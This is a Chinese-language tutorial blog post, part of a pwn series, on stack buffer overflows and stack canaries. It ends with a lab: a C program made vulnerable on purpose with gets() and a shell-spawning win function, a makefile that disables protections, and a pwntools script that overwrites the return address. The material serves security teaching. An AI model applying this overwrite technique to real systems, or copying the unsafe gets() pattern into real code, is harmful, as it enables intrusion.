iT邦幫忙

2025 iThome 鐵人賽

DAY 4
0
Security

現在是pwn的天下!系列 第 4

【Day-4】buffer overflow攻擊手法以及Canary的保護機制

  • 分享至 

  • xImage
  •  

前言

Buffer overflow又稱緩衝區溢位,主要是由沒有正確處理輸入的長度,導致攻擊者藉由輸入大量的字串,引發程式崩潰,嚴重的話可能會達成RCE

原理

假設我們在local variable發生buffer overflow會發生甚麼?
https://ithelp.ithome.com.tw/upload/images/20250808/201720884PX1ty02Hc.png

講一個最經典的: gets(buf),這個函式它不會檢查輸入的長度,想要輸入多少就輸入多少,那這樣就會導致segmentation fault (記憶體區段錯誤),不過這個function已經被library給blacklist了,如果要開需要再compiler的時候加上-fno-stack-protector
這個stack上面擺放者著很多local variable
https://ithelp.ithome.com.tw/upload/images/20250808/20172088VS9OhJbeGJ.png
假如我今天輸入64個byte,這樣就只有剛好填滿而已
https://ithelp.ithome.com.tw/upload/images/20250808/20172088pWOrZX6PfG.png
但是如果我今天輸入很多A呢?
:overflow,把後面的變數也都覆蓋掉
https://ithelp.ithome.com.tw/upload/images/20250808/20172088AI0heb53fZ.png
這就意味著我們可以任意控制位於stack上的其他變數
如果我要填成:
int c = 0xdeadbeef
int d = 0xfaceb00c
long e = 0x4141414141414141
https://ithelp.ithome.com.tw/upload/images/20250808/201720882CdpefF3Hp.png
也可能做到控制敏感資料的部分
https://ithelp.ithome.com.tw/upload/images/20250808/20172088uKOhq5YKiQ.png
stack上面除了有local variable,由於stack frame的性質,我們會把call到的rbp跟return address放到stack上面
所以:

  • 除了能蓋到local variable,也能蓋到saved rbp跟return address
  • 如果蓋到return address,它在做return的時候,就會control到rip(控制程式執行流程)
  • 可以任意控制rip
    https://ithelp.ithome.com.tw/upload/images/20250808/20172088Va18PzoznC.png
    接下來就可以用高超的技巧把binary給pwn下來了

保護機制

Canary (stack protector),是一種用來防止buffer overflow的安全機制,它會在function prologue的時候,把一個random的8個bytes放在Saved rbp之前,並且第一個byte都是NULL byte
結構如下:
https://ithelp.ithome.com.tw/upload/images/20250808/201720885eS1PHSXoS.png

  • function epilogue的時候會拿儲存在另一個segment的value來檢查canary是不是相同,用來檢測是否發生buffer overflow
  • 如果相同 ==> return
  • 如果不相同 ==> abort
  • 每次執行binary的時候canary都不固定,但是同一次固定
    btw這是我寫其他腳本拿到的canary,當範例
    https://ithelp.ithome.com.tw/upload/images/20250808/20172088vsjpjlmb7L.png
    拿剛剛的canary舉個例子:
    假如我今天發生buffer overflow
    https://ithelp.ithome.com.tw/upload/images/20250808/201720884mwIu7dBdJ.png
    如果我今天的輸入!=0xd8bf792313edca00,那就會stack smashing detected
    https://ithelp.ithome.com.tw/upload/images/20250808/20172088QUoxk190B1.png

小LAB

#include <stdio.h>

void call_me_plz() {
    system("/bin/sh");
}

int main() {
    char buf[64];
    puts("give me your buffer:");
    gets(buf);
    return 0;
}

保護全關
makefile:

buf:buf.c
        gcc -fno-stack-protector -z execstack -D_FORTIFY_SOURCE=0 -fno-pie -no-pie -o buf buf.c

我們可以發現buf的大小是64個byte(蓋到rbp),也就是說我們只要在+8個byte就會蓋到return address
故我們目前payload為 ==> payload = b'a' * 72
接下來我們再objdump -d buf去找call me函式的offset
https://ithelp.ithome.com.tw/upload/images/20250808/20172088uDKnhWTGUV.png
那這裡我們有兩種選擇

  1. 選擇0x401176或0x40117a,但是覆蓋return address後要+上ret gadget
  2. 選擇0x40117b也就是mov rbp, rsp的部分,可以直接call到win

為甚麼會這樣?

  1. 由於 0x401176 或 0x40117a 是函式的開始處會先執行 push rbp 將原本的基底指標壓入堆疊
    • 但若是直接覆蓋 return address 跳轉到這裡,堆疊的狀態會錯亂,導致後續的 ret 指令無法正確返回
    • 因此必須額外加上 ret gadget 來修正堆疊,使流程能順利接續執行。
  2. mov %rsp, %rbp也等價於mov rbp, rsp,代表:
    • rbp指向的是stack的頂端
    • rbp通常也用來指向函數的return address,因此rsp已經指向了win function了
      那我自己是用mov rbp, rsp,所以就可以寫出最後的exploit
from pwn import *

r = process('./buf')

win = 0x40117b
#ret = 0x40101a

r.sendlineafter(b':', b'a' * 72 + p64(win))

r.interactive()

Pwned!
https://ithelp.ithome.com.tw/upload/images/20250808/20172088Y8W39WkNsl.png


上一篇
【Day-3】詳細說明stack frame運作原理,學buffer overflow前必須知道的事
下一篇
【Day-5】return to shellcode
系列文
現在是pwn的天下!30
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言